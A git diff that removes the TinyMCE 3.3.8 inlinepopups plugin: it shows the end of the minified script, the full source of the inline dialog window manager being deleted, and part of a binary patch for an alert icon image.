g=this;g.parent(f);g.zIndex=300000;g.count=0;g.windows={}},open:function(r,j){var y=this,i,k="",q=y.editor,g=0,s=0,h,m,n,o,l,v,x;r=r||{};j=j||{};if(!r.inline){return y.parent(r,j)}if(!r.type){y.bookmark=q.selection.getBookmark(1)}i=d.uniqueId();h=d.getViewPort();r.width=parseInt(r.width||320);r.height=parseInt(r.height||240)+(tinymce.isIE?8:0);r.min_width=parseInt(r.min_width||150);r.min_height=parseInt(r.min_height||100);r.max_width=parseInt(r.max_width||2000);r.max_height=parseInt(r.max_height||2000);r.left=r.left||Math.round(Math.max(h.x,h.x+(h.w/2)-(r.width/2)));r.top=r.top||Math.round(Math.max(h.y,h.y+(h.h/2)-(r.height/2)));r.movable=r.resizable=true;j.mce_width=r.width;j.mce_height=r.height;j.mce_inline=true;j.mce_window_id=i;j.mce_auto_focus=r.auto_focus;y.features=r;y.params=j;y.onOpen.dispatch(y,r,j);if(r.type){k+=" mceModal";if(r.type){k+=" mce"+r.type.substring(0,1).toUpperCase()+r.type.substring(1)}r.resizable=false}if(r.statusbar){k+=" mceStatusbar"}if(r.resizable){k+=" mceResizable"}if(r.minimizable){k+=" mceMinimizable"}if(r.maximizable){k+=" mceMaximizable"}if(r.movable){k+=" mceMovable"}y._addAll(d.doc.body,["div",{id:i,"class":q.settings.inlinepopups_skin||"clearlooks2",style:"width:100px;height:100px"},["div",{id:i+"_wrapper","class":"mceWrapper"+k},["div",{id:i+"_top","class":"mceTop"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_title"},r.title||""]],["div",{id:i+"_middle","class":"mceMiddle"},["div",{id:i+"_left","class":"mceLeft"}],["span",{id:i+"_content"}],["div",{id:i+"_right","class":"mceRight"}]],["div",{id:i+"_bottom","class":"mceBottom"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_status"},"Content"]],["a",{"class":"mceMove",tabindex:"-1",href:"javascript:;"}],["a",{"class":"mceMin",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMax",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMed",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceClose",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{id:i+"_resize_n","class":"mceResize mceResizeN",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_s","class":"mceResize mceResizeS",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_w","class":"mceResize mceResizeW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_e","class":"mceResize mceResizeE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_nw","class":"mceResize mceResizeNW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_ne","class":"mceResize mceResizeNE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_sw","class":"mceResize mceResizeSW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_se","class":"mceResize mceResizeSE",tabindex:"-1",href:"javascript:;"}]]]);d.setStyles(i,{top:-10000,left:-10000});if(tinymce.isGecko){d.setStyle(i,"overflow","auto")}if(!r.type){g+=d.get(i+"_left").clientWidth;g+=d.get(i+"_right").clientWidth;s+=d.get(i+"_top").clientHeight;s+=d.get(i+"_bottom").clientHeight}d.setStyles(i,{top:r.top,left:r.left,width:r.width+g,height:r.height+s});x=r.url||r.file;if(x){if(tinymce.relaxedDomain){x+=(x.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain}x=tinymce._addVer(x)}if(!r.type){d.add(i+"_content","iframe",{id:i+"_ifr",src:'javascript:""',frameBorder:0,style:"border:0;width:10px;height:10px"});d.setStyles(i+"_ifr",{width:r.width,height:r.height});d.setAttrib(i+"_ifr","src",x)}else{d.add(i+"_wrapper","a",{id:i+"_ok","class":"mceButton mceOk",href:"javascript:;",onmousedown:"return false;"},"Ok");if(r.type=="confirm"){d.add(i+"_wrapper","a",{"class":"mceButton mceCancel",href:"javascript:;",onmousedown:"return false;"},"Cancel")}d.add(i+"_middle","div",{"class":"mceIcon"});d.setHTML(i+"_content",r.content.replace("\n","<br />"))}n=a.add(i,"mousedown",function(t){var u=t.target,f,p;f=y.windows[i];y.focus(i);if(u.nodeName=="A"||u.nodeName=="a"){if(u.className=="mceMax"){f.oldPos=f.element.getXY();f.oldSize=f.element.getSize();p=d.getViewPort();p.w-=2;p.h-=2;f.element.moveTo(p.x,p.y);f.element.resizeTo(p.w,p.h);d.setStyles(i+"_ifr",{width:p.w-f.deltaWidth,height:p.h-f.deltaHeight});d.addClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMed"){f.element.moveTo(f.oldPos.x,f.oldPos.y);f.element.resizeTo(f.oldSize.w,f.oldSize.h);f.iframeElement.resizeTo(f.oldSize.w-f.deltaWidth,f.oldSize.h-f.deltaHeight);d.removeClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMove"){return y._startDrag(i,t,u.className)}else{if(d.hasClass(u,"mceResize")){return y._startDrag(i,t,u.className.substring(13))}}}}}});o=a.add(i,"click",function(f){var p=f.target;y.focus(i);if(p.nodeName=="A"||p.nodeName=="a"){switch(p.className){case"mceClose":y.close(null,i);return a.cancel(f);case"mceButton mceOk":case"mceButton mceCancel":r.button_func(p.className=="mceButton mceOk");return a.cancel(f)}}});v=y.windows[i]={id:i,mousedown_func:n,click_func:o,element:new b(i,{blocker:1,container:q.getContainer()}),iframeElement:new b(i+"_ifr"),features:r,deltaWidth:g,deltaHeight:s};v.iframeElement.on("focus",function(){y.focus(i)});if(y.count==0&&y.editor.getParam("dialog_type","modal")=="modal"){d.add(d.doc.body,"div",{id:"mceModalBlocker","class":(y.editor.settings.inlinepopups_skin||"clearlooks2")+"_modalBlocker",style:{zIndex:y.zIndex-1}});d.show("mceModalBlocker")}else{d.setStyle("mceModalBlocker","z-index",y.zIndex-1)}if(tinymce.isIE6||/Firefox\/2\./.test(navigator.userAgent)||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceModalBlocker",{position:"absolute",left:h.x,top:h.y,width:h.w-2,height:h.h-2})}y.focus(i);y._fixIELayout(i,1);if(d.get(i+"_ok")){d.get(i+"_ok").focus()}y.count++;return v},focus:function(h){var g=this,f;if(f=g.windows[h]){f.zIndex=this.zIndex++;f.element.setStyle("zIndex",f.zIndex);f.element.update();h=h+"_wrapper";d.removeClass(g.lastId,"mceFocus");d.addClass(h,"mceFocus");g.lastId=h}},_addAll:function(k,h){var g,l,f=this,j=tinymce.DOM;if(c(h,"string")){k.appendChild(j.doc.createTextNode(h))}else{if(h.length){k=k.appendChild(j.create(h[0],h[1]));for(g=2;g<h.length;g++){f._addAll(k,h[g])}}}},_startDrag:function(v,G,E){var o=this,u,z,C=d.doc,f,l=o.windows[v],h=l.element,y=h.getXY(),x,q,F,g,A,s,r,j,i,m,k,n,B;g={x:0,y:0};A=d.getViewPort();A.w-=2;A.h-=2;j=G.screenX;i=G.screenY;m=k=n=B=0;u=a.add(C,"mouseup",function(p){a.remove(C,"mouseup",u);a.remove(C,"mousemove",z);if(f){f.remove()}h.moveBy(m,k);h.resizeBy(n,B);q=h.getSize();d.setStyles(v+"_ifr",{width:q.w-l.deltaWidth,height:q.h-l.deltaHeight});o._fixIELayout(v,1);return a.cancel(p)});if(E!="Move"){D()}function D(){if(f){return}o._fixIELayout(v,0);d.add(C.body,"div",{id:"mceEventBlocker","class":"mceEventBlocker "+(o.editor.settings.inlinepopups_skin||"clearlooks2"),style:{zIndex:o.zIndex+1}});if(tinymce.isIE6||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceEventBlocker",{position:"absolute",left:A.x,top:A.y,width:A.w-2,height:A.h-2})}f=new b("mceEventBlocker");f.update();x=h.getXY();q=h.getSize();s=g.x+x.x-A.x;r=g.y+x.y-A.y;d.add(f.get(),"div",{id:"mcePlaceHolder","class":"mcePlaceHolder",style:{left:s,top:r,width:q.w,height:q.h}});F=new b("mcePlaceHolder")}z=a.add(C,"mousemove",function(w){var p,H,t;D();p=w.screenX-j;H=w.screenY-i;switch(E){case"ResizeW":m=p;n=0-p;break;case"ResizeE":n=p;break;case"ResizeN":case"ResizeNW":case"ResizeNE":if(E=="ResizeNW"){m=p;n=0-p}else{if(E=="ResizeNE"){n=p}}k=H;B=0-H;break;case"ResizeS":case"ResizeSW":case"ResizeSE":if(E=="ResizeSW"){m=p;n=0-p}else{if(E=="ResizeSE"){n=p}}B=H;break;case"mceMove":m=p;k=H;break}if(n<(t=l.features.min_width-q.w)){if(m!==0){m+=n-t}n=t}if(B<(t=l.features.min_height-q.h)){if(k!==0){k+=B-t}B=t}n=Math.min(n,l.features.max_width-q.w);B=Math.min(B,l.features.max_height-q.h);m=Math.max(m,A.x-(s+A.x));k=Math.max(k,A.y-(r+A.y));m=Math.min(m,(A.w+A.x)-(s+q.w+A.x));k=Math.min(k,(A.h+A.y)-(r+q.h+A.y));if(m+k!==0){if(s+m<0){m=0}if(r+k<0){k=0}F.moveTo(s+m,r+k)}if(n+B!==0){F.resizeTo(q.w+n,q.h+B)}return a.cancel(w)});return a.cancel(G)},resizeBy:function(g,h,i){var f=this.windows[i];if(f){f.element.resizeBy(g,h);f.iframeElement.resizeBy(g,h)}},close:function(j,l){var h=this,g,k=d.doc,f=0,i,l;l=h._findId(l||j);if(!h.windows[l]){h.parent(j);return}h.count--;if(h.count==0){d.remove("mceModalBlocker")}if(g=h.windows[l]){h.onClose.dispatch(h);a.remove(k,"mousedown",g.mousedownFunc);a.remove(k,"click",g.clickFunc);a.clear(l);a.clear(l+"_ifr");d.setAttrib(l+"_ifr","src",'javascript:""');g.element.remove();delete h.windows[l];e(h.windows,function(m){if(m.zIndex>f){i=m;f=m.zIndex}});if(i){h.focus(i.id)}}},setTitle:function(f,g){var h;f=this._findId(f);if(h=d.get(f+"_title")){h.innerHTML=d.encode(g)}},alert:function(g,f,j){var i=this,h;h=i.open({title:i,type:"alert",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},confirm:function(g,f,j){var i=this,h;h=i.open({title:i,type:"confirm",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},_findId:function(f){var g=this;if(typeof(f)=="string"){return f}e(g.windows,function(h){var i=d.get(h.id+"_ifr");if(i&&f==i.contentWindow){f=h.id;return false}});return f},_fixIELayout:function(i,h){var f,g;if(!tinymce.isIE6){return}e(["n","s","w","e","nw","ne","sw","se"],function(j){var k=d.get(i+"_resize_"+j);d.setStyles(k,{width:h?k.clientWidth:"",height:h?k.clientHeight:"",cursor:d.getStyle(k,"cursor",1)});d.setStyle(i+"_bottom","bottom","-1px");k=0});if(f=this.windows[i]){f.element.hide();f.element.show();e(d.select("div,a",i),function(k,j){if(k.currentStyle.backgroundImage!="none"){g=new Image();g.src=k.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/,"$1")}});d.get(i).style.filter=""}}});tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js deleted file mode 100644 index e991683..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js +++ /dev/null @@ -1,635 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var DOM = tinymce.DOM, Element = tinymce.dom.Element, Event = tinymce.dom.Event, each = tinymce.each, is = tinymce.is; - - tinymce.create('tinymce.plugins.InlinePopups', { - init : function(ed, url) { - // Replace window manager - ed.onBeforeRenderUI.add(function() { - ed.windowManager = new tinymce.InlineWindowManager(ed); - DOM.loadCSS(url + '/skins/' + (ed.settings.inlinepopups_skin || 'clearlooks2') + "/window.css"); - }); - }, - - getInfo : function() { - return { - longname : 'InlinePopups', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - tinymce.create('tinymce.InlineWindowManager:tinymce.WindowManager', { - InlineWindowManager : function(ed) { - var t = this; - - t.parent(ed); - t.zIndex = 300000; - t.count = 0; - t.windows = {}; - }, - - open : function(f, p) { - var t = this, id, opt = '', ed = t.editor, dw = 0, dh = 0, vp, po, mdf, clf, we, w, u; - - f = f || {}; - p = p || {}; - - // Run native windows - if (!f.inline) - return t.parent(f, p); - - // Only store selection if the type is a normal window - if (!f.type) - t.bookmark = ed.selection.getBookmark(1); - - id = DOM.uniqueId(); - vp = DOM.getViewPort(); - f.width = parseInt(f.width || 320); - f.height = parseInt(f.height || 240) + (tinymce.isIE ? 8 : 0); - f.min_width = parseInt(f.min_width || 150); - f.min_height = parseInt(f.min_height || 100); - f.max_width = parseInt(f.max_width || 2000); - f.max_height = parseInt(f.max_height || 2000); - f.left = f.left || Math.round(Math.max(vp.x, vp.x + (vp.w / 2.0) - (f.width / 2.0))); - f.top = f.top || Math.round(Math.max(vp.y, vp.y + (vp.h / 2.0) - (f.height / 2.0))); - f.movable = f.resizable = true; - p.mce_width = f.width; - p.mce_height = f.height; - p.mce_inline = true; - p.mce_window_id = id; - p.mce_auto_focus = f.auto_focus; - - // Transpose -// po = DOM.getPos(ed.getContainer()); -// f.left -= po.x; -// f.top -= po.y; - - t.features = f; - t.params = p; - t.onOpen.dispatch(t, f, p); - - if (f.type) { - opt += ' mceModal'; - - if (f.type) - opt += ' mce' + f.type.substring(0, 1).toUpperCase() + f.type.substring(1); - - f.resizable = false; - } - - if (f.statusbar) - opt += ' mceStatusbar'; - - if (f.resizable) - opt += ' mceResizable'; - - if (f.minimizable) - opt += ' mceMinimizable'; - - if (f.maximizable) - opt += ' mceMaximizable'; - - if (f.movable) - opt += ' mceMovable'; - - // Create DOM objects - t._addAll(DOM.doc.body, - ['div', {id : id, 'class' : ed.settings.inlinepopups_skin || 'clearlooks2', style : 'width:100px;height:100px'}, - ['div', {id : id + '_wrapper', 'class' : 'mceWrapper' + opt}, - ['div', {id : id + '_top', 'class' : 'mceTop'}, - ['div', {'class' : 'mceLeft'}], - ['div', {'class' : 'mceCenter'}], - ['div', {'class' : 'mceRight'}], - ['span', {id : id + '_title'}, f.title || ''] - ], - - ['div', {id : id + '_middle', 'class' : 'mceMiddle'}, - ['div', {id : id + '_left', 'class' : 'mceLeft'}], - ['span', {id : id + '_content'}], - ['div', {id : id + '_right', 'class' : 'mceRight'}] - ], - - ['div', {id : id + '_bottom', 'class' : 'mceBottom'}, - ['div', {'class' : 'mceLeft'}], - ['div', {'class' : 'mceCenter'}], - ['div', {'class' : 'mceRight'}], - ['span', {id : id + '_status'}, 'Content'] - ], - - ['a', {'class' : 'mceMove', tabindex : '-1', href : 'javascript:;'}], - ['a', {'class' : 'mceMin', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], - ['a', {'class' : 'mceMax', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], - ['a', {'class' : 'mceMed', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], - ['a', {'class' : 'mceClose', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], - ['a', {id : id + '_resize_n', 'class' : 'mceResize mceResizeN', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_s', 'class' : 'mceResize mceResizeS', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_w', 'class' : 'mceResize mceResizeW', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_e', 'class' : 'mceResize mceResizeE', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_nw', 'class' : 'mceResize mceResizeNW', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_ne', 'class' : 'mceResize mceResizeNE', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_sw', 'class' : 'mceResize mceResizeSW', tabindex : '-1', href : 'javascript:;'}], - ['a', {id : id + '_resize_se', 'class' : 'mceResize mceResizeSE', tabindex : '-1', href : 'javascript:;'}] - ] - ] - ); - - DOM.setStyles(id, {top : -10000, left : -10000}); - - // Fix gecko rendering bug, where the editors iframe messed with window contents - if (tinymce.isGecko) - DOM.setStyle(id, 'overflow', 'auto'); - - // Measure borders - if (!f.type) { - dw += DOM.get(id + '_left').clientWidth; - dw += DOM.get(id + '_right').clientWidth; - dh += DOM.get(id + '_top').clientHeight; - dh += DOM.get(id + '_bottom').clientHeight; - } - - // Resize window - DOM.setStyles(id, {top : f.top, left : f.left, width : f.width + dw, height : f.height + dh}); - - u = f.url || f.file; - if (u) { - if (tinymce.relaxedDomain) - u += (u.indexOf('?') == -1 ? '?' : '&') + 'mce_rdomain=' + tinymce.relaxedDomain; - - u = tinymce._addVer(u); - } - - if (!f.type) { - DOM.add(id + '_content', 'iframe', {id : id + '_ifr', src : 'javascript:""', frameBorder : 0, style : 'border:0;width:10px;height:10px'}); - DOM.setStyles(id + '_ifr', {width : f.width, height : f.height}); - DOM.setAttrib(id + '_ifr', 'src', u); - } else { - DOM.add(id + '_wrapper', 'a', {id : id + '_ok', 'class' : 'mceButton mceOk', href : 'javascript:;', onmousedown : 'return false;'}, 'Ok'); - - if (f.type == 'confirm') - DOM.add(id + '_wrapper', 'a', {'class' : 'mceButton mceCancel', href : 'javascript:;', onmousedown : 'return false;'}, 'Cancel'); - - DOM.add(id + '_middle', 'div', {'class' : 'mceIcon'}); - DOM.setHTML(id + '_content', f.content.replace('\n', '<br />')); - } - - // Register events - mdf = Event.add(id, 'mousedown', function(e) { - var n = e.target, w, vp; - - w = t.windows[id]; - t.focus(id); - - if (n.nodeName == 'A' || n.nodeName == 'a') { - if (n.className == 'mceMax') { - w.oldPos = w.element.getXY(); - w.oldSize = w.element.getSize(); - - vp = DOM.getViewPort(); - - // Reduce viewport size to avoid scrollbars - vp.w -= 2; - vp.h -= 2; - - w.element.moveTo(vp.x, vp.y); - w.element.resizeTo(vp.w, vp.h); - DOM.setStyles(id + '_ifr', {width : vp.w - w.deltaWidth, height : vp.h - w.deltaHeight}); - DOM.addClass(id + '_wrapper', 'mceMaximized'); - } else if (n.className == 'mceMed') { - // Reset to old size - w.element.moveTo(w.oldPos.x, w.oldPos.y); - w.element.resizeTo(w.oldSize.w, w.oldSize.h); - w.iframeElement.resizeTo(w.oldSize.w - w.deltaWidth, w.oldSize.h - w.deltaHeight); - - DOM.removeClass(id + '_wrapper', 'mceMaximized'); - } else if (n.className == 'mceMove') - return t._startDrag(id, e, n.className); - else if (DOM.hasClass(n, 'mceResize')) - return t._startDrag(id, e, n.className.substring(13)); - } - }); - - clf = Event.add(id, 'click', function(e) { - var n = e.target; - - t.focus(id); - - if (n.nodeName == 'A' || n.nodeName == 'a') { - switch (n.className) { - case 'mceClose': - t.close(null, id); - return Event.cancel(e); - - case 'mceButton mceOk': - case 'mceButton mceCancel': - f.button_func(n.className == 'mceButton mceOk'); - return Event.cancel(e); - } - } - }); - - // Add window - w = t.windows[id] = { - id : id, - mousedown_func : mdf, - click_func : clf, - element : new Element(id, {blocker : 1, container : ed.getContainer()}), - iframeElement : new Element(id + '_ifr'), - features : f, - deltaWidth : dw, - deltaHeight : dh - }; - - w.iframeElement.on('focus', function() { - t.focus(id); - }); - - // Setup blocker - if (t.count == 0 && t.editor.getParam('dialog_type', 'modal') == 'modal') { - DOM.add(DOM.doc.body, 'div', { - id : 'mceModalBlocker', - 'class' : (t.editor.settings.inlinepopups_skin || 'clearlooks2') + '_modalBlocker', - style : {zIndex : t.zIndex - 1} - }); - - DOM.show('mceModalBlocker'); // Reduces flicker in IE - } else - DOM.setStyle('mceModalBlocker', 'z-index', t.zIndex - 1); - - if (tinymce.isIE6 || /Firefox\/2\./.test(navigator.userAgent) || (tinymce.isIE && !DOM.boxModel)) - DOM.setStyles('mceModalBlocker', {position : 'absolute', left : vp.x, top : vp.y, width : vp.w - 2, height : vp.h - 2}); - - t.focus(id); - t._fixIELayout(id, 1); - - // Focus ok button - if (DOM.get(id + '_ok')) - DOM.get(id + '_ok').focus(); - - t.count++; - - return w; - }, - - focus : function(id) { - var t = this, w; - - if (w = t.windows[id]) { - w.zIndex = this.zIndex++; - w.element.setStyle('zIndex', w.zIndex); - w.element.update(); - - id = id + '_wrapper'; - DOM.removeClass(t.lastId, 'mceFocus'); - DOM.addClass(id, 'mceFocus'); - t.lastId = id; - } - }, - - _addAll : function(te, ne) { - var i, n, t = this, dom = tinymce.DOM; - - if (is(ne, 'string')) - te.appendChild(dom.doc.createTextNode(ne)); - else if (ne.length) { - te = te.appendChild(dom.create(ne[0], ne[1])); - - for (i=2; i<ne.length; i++) - t._addAll(te, ne[i]); - } - }, - - _startDrag : function(id, se, ac) { - var t = this, mu, mm, d = DOM.doc, eb, w = t.windows[id], we = w.element, sp = we.getXY(), p, sz, ph, cp, vp, sx, sy, sex, sey, dx, dy, dw, dh; - - // Get positons and sizes -// cp = DOM.getPos(t.editor.getContainer()); - cp = {x : 0, y : 0}; - vp = DOM.getViewPort(); - - // Reduce viewport size to avoid scrollbars while dragging - vp.w -= 2; - vp.h -= 2; - - sex = se.screenX; - sey = se.screenY; - dx = dy = dw = dh = 0; - - // Handle mouse up - mu = Event.add(d, 'mouseup', function(e) { - Event.remove(d, 'mouseup', mu); - Event.remove(d, 'mousemove', mm); - - if (eb) - eb.remove(); - - we.moveBy(dx, dy); - we.resizeBy(dw, dh); - sz = we.getSize(); - DOM.setStyles(id + '_ifr', {width : sz.w - w.deltaWidth, height : sz.h - w.deltaHeight}); - t._fixIELayout(id, 1); - - return Event.cancel(e); - }); - - if (ac != 'Move') - startMove(); - - function startMove() { - if (eb) - return; - - t._fixIELayout(id, 0); - - // Setup event blocker - DOM.add(d.body, 'div', { - id : 'mceEventBlocker', - 'class' : 'mceEventBlocker ' + (t.editor.settings.inlinepopups_skin || 'clearlooks2'), - style : {zIndex : t.zIndex + 1} - }); - - if (tinymce.isIE6 || (tinymce.isIE && !DOM.boxModel)) - DOM.setStyles('mceEventBlocker', {position : 'absolute', left : vp.x, top : vp.y, width : vp.w - 2, height : vp.h - 2}); - - eb = new Element('mceEventBlocker'); - eb.update(); - - // Setup placeholder - p = we.getXY(); - sz = we.getSize(); - sx = cp.x + p.x - vp.x; - sy = cp.y + p.y - vp.y; - DOM.add(eb.get(), 'div', {id : 'mcePlaceHolder', 'class' : 'mcePlaceHolder', style : {left : sx, top : sy, width : sz.w, height : sz.h}}); - ph = new Element('mcePlaceHolder'); - }; - - // Handle mouse move/drag - mm = Event.add(d, 'mousemove', function(e) { - var x, y, v; - - startMove(); - - x = e.screenX - sex; - y = e.screenY - sey; - - switch (ac) { - case 'ResizeW': - dx = x; - dw = 0 - x; - break; - - case 'ResizeE': - dw = x; - break; - - case 'ResizeN': - case 'ResizeNW': - case 'ResizeNE': - if (ac == "ResizeNW") { - dx = x; - dw = 0 - x; - } else if (ac == "ResizeNE") - dw = x; - - dy = y; - dh = 0 - y; - break; - - case 'ResizeS': - case 'ResizeSW': - case 'ResizeSE': - if (ac == "ResizeSW") { - dx = x; - dw = 0 - x; - } else if (ac == "ResizeSE") - dw = x; - - dh = y; - break; - - case 'mceMove': - dx = x; - dy = y; - break; - } - - // Boundary check - if (dw < (v = w.features.min_width - sz.w)) { - if (dx !== 0) - dx += dw - v; - - dw = v; - } - - if (dh < (v = w.features.min_height - sz.h)) { - if (dy !== 0) - dy += dh - v; - - dh = v; - } - - dw = Math.min(dw, w.features.max_width - sz.w); - dh = Math.min(dh, w.features.max_height - sz.h); - dx = Math.max(dx, vp.x - (sx + vp.x)); - dy = Math.max(dy, vp.y - (sy + vp.y)); - dx = Math.min(dx, (vp.w + vp.x) - (sx + sz.w + vp.x)); - dy = Math.min(dy, (vp.h + vp.y) - (sy + sz.h + vp.y)); - - // Move if needed - if (dx + dy !== 0) { - if (sx + dx < 0) - dx = 0; - - if (sy + dy < 0) - dy = 0; - - ph.moveTo(sx + dx, sy + dy); - } - - // Resize if needed - if (dw + dh !== 0) - ph.resizeTo(sz.w + dw, sz.h + dh); - - return Event.cancel(e); - }); - - return Event.cancel(se); - }, - - resizeBy : function(dw, dh, id) { - var w = this.windows[id]; - - if (w) { - w.element.resizeBy(dw, dh); - w.iframeElement.resizeBy(dw, dh); - } - }, - - close : function(win, id) { - var t = this, w, d = DOM.doc, ix = 0, fw, id; - - id = t._findId(id || win); - - // Probably not inline - if (!t.windows[id]) { - t.parent(win); - return; - } - - t.count--; - - if (t.count == 0) - DOM.remove('mceModalBlocker'); - - if (w = t.windows[id]) { - t.onClose.dispatch(t); - Event.remove(d, 'mousedown', w.mousedownFunc); - Event.remove(d, 'click', w.clickFunc); - Event.clear(id); - Event.clear(id + '_ifr'); - - DOM.setAttrib(id + '_ifr', 'src', 'javascript:""'); // Prevent leak - w.element.remove(); - delete t.windows[id]; - - // Find front most window and focus that - each (t.windows, function(w) { - if (w.zIndex > ix) { - fw = w; - ix = w.zIndex; - } - }); - - if (fw) - t.focus(fw.id); - } - }, - - setTitle : function(w, ti) { - var e; - - w = this._findId(w); - - if (e = DOM.get(w + '_title')) - e.innerHTML = DOM.encode(ti); - }, - - alert : function(txt, cb, s) { - var t = this, w; - - w = t.open({ - title : t, - type : 'alert', - button_func : function(s) { - if (cb) - cb.call(s || t, s); - - t.close(null, w.id); - }, - content : DOM.encode(t.editor.getLang(txt, txt)), - inline : 1, - width : 400, - height : 130 - }); - }, - - confirm : function(txt, cb, s) { - var t = this, w; - - w = t.open({ - title : t, - type : 'confirm', - button_func : function(s) { - if (cb) - cb.call(s || t, s); - - t.close(null, w.id); - }, - content : DOM.encode(t.editor.getLang(txt, txt)), - inline : 1, - width : 400, - height : 130 - }); - }, - - // Internal functions - - _findId : function(w) { - var t = this; - - if (typeof(w) == 'string') - return w; - - each(t.windows, function(wo) { - var ifr = DOM.get(wo.id + '_ifr'); - - if (ifr && w == ifr.contentWindow) { - w = wo.id; - return false; - } - }); - - return w; - }, - - _fixIELayout : function(id, s) { - var w, img; - - if (!tinymce.isIE6) - return; - - // Fixes the bug where hover flickers and does odd things in IE6 - each(['n','s','w','e','nw','ne','sw','se'], function(v) { - var e = DOM.get(id + '_resize_' + v); - - DOM.setStyles(e, { - width : s ? e.clientWidth : '', - height : s ? e.clientHeight : '', - cursor : DOM.getStyle(e, 'cursor', 1) - }); - - DOM.setStyle(id + "_bottom", 'bottom', '-1px'); - - e = 0; - }); - - // Fixes graphics glitch - if (w = this.windows[id]) { - // Fixes rendering bug after resize - w.element.hide(); - w.element.show(); - - // Forced a repaint of the window - //DOM.get(id).style.filter = ''; - - // IE has a bug where images used in CSS won't get loaded - // sometimes when the cache in the browser is disabled - // This fix tries to solve it by loading the images using the image object - each(DOM.select('div,a', id), function(e, i) { - if (e.currentStyle.backgroundImage != 'none') { - img = new Image(); - img.src = e.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/, '$1'); - } - }); - - DOM.get(id).style.filter = ''; - } - } - }); - - // Register plugin - tinymce.PluginManager.add('inlinepopups', tinymce.plugins.InlinePopups); -})(); - diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif deleted file mode 100644 index 94abd08763fffdaa0dd5c5afb470a97294f2b94d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 818 zcmV-21I_$LNk%w1VITk?0OkMyy?1uhZf>Is3*B5?sT&&Hqoc$;Jkrt6&k+&QHa5gV zL)l77I5;@fLqpYMWV<abwUm?7QBkxrGu*<$+j)7$S6A9;Y1?*oyK8FI)Y8t+&Cwbf z0|Nuh0s^}{Jk10I;B0K)Vq&Z$B;j>+*+oUyj*ia`4%)P|vrSClaB!?EE7K$--(_XZ zOH0lO2-#9n!;Fik78a-!6wR}-yS%#378ch%J=j4(x@2V5*3{b0&C|=t(mFcQDJi8A z60bTsucxKY8XD3{O5bW~+gDfHP*AZbD54S)*gHGL#>A(co5`c08yg$Yzr7_TCCA9d zs-U0MFfhzxW4%d9s-K?K($LSkxy-Sz(7?Xdn3%wSe#oDmxL#e?qN1My0^C(q&nzt3 zjEvWFbJcly)5*uu)6w93eACp@*{!X#QBc56PRYv1%goBm&CA4*kj9vnyFx<e!NJmB zU(r85yc`_bZEdF@Amh5a-++MIVq($7!@-4wp8x>N00960|JK*lA^8LV00000EC2ui z03ZM$000O7fPaF6goTEOh>41ejE#<k00IISkBo0Jbrv!(m5O!&HzaZ~Rh@@>5-A-Y zDMkRMg$FSdD>XGe76Lo4g8*<LeI;2PArd&ee`G#*8(@BZ2^+ahyj*HueO=FJ9Yr1} zuuU>}CUeivLI}B6rYIE)9Vh306CXDUKb=<uW-bx)&*Zqs<6}#uA5xIGnDC4PhjS*P zC=iju(Gn3OJ~%k%@Z5zDL<n$dq#{5R1oJwc3$mgGDMoH24Cyc?<->Dfx`}wT=u<6# zD$n)U&_b6YEgl901IUC4zyf`27&(S$$E;fb{Wx)wm4^u-0<a*$Fr`SgtZ4n*=@8{X 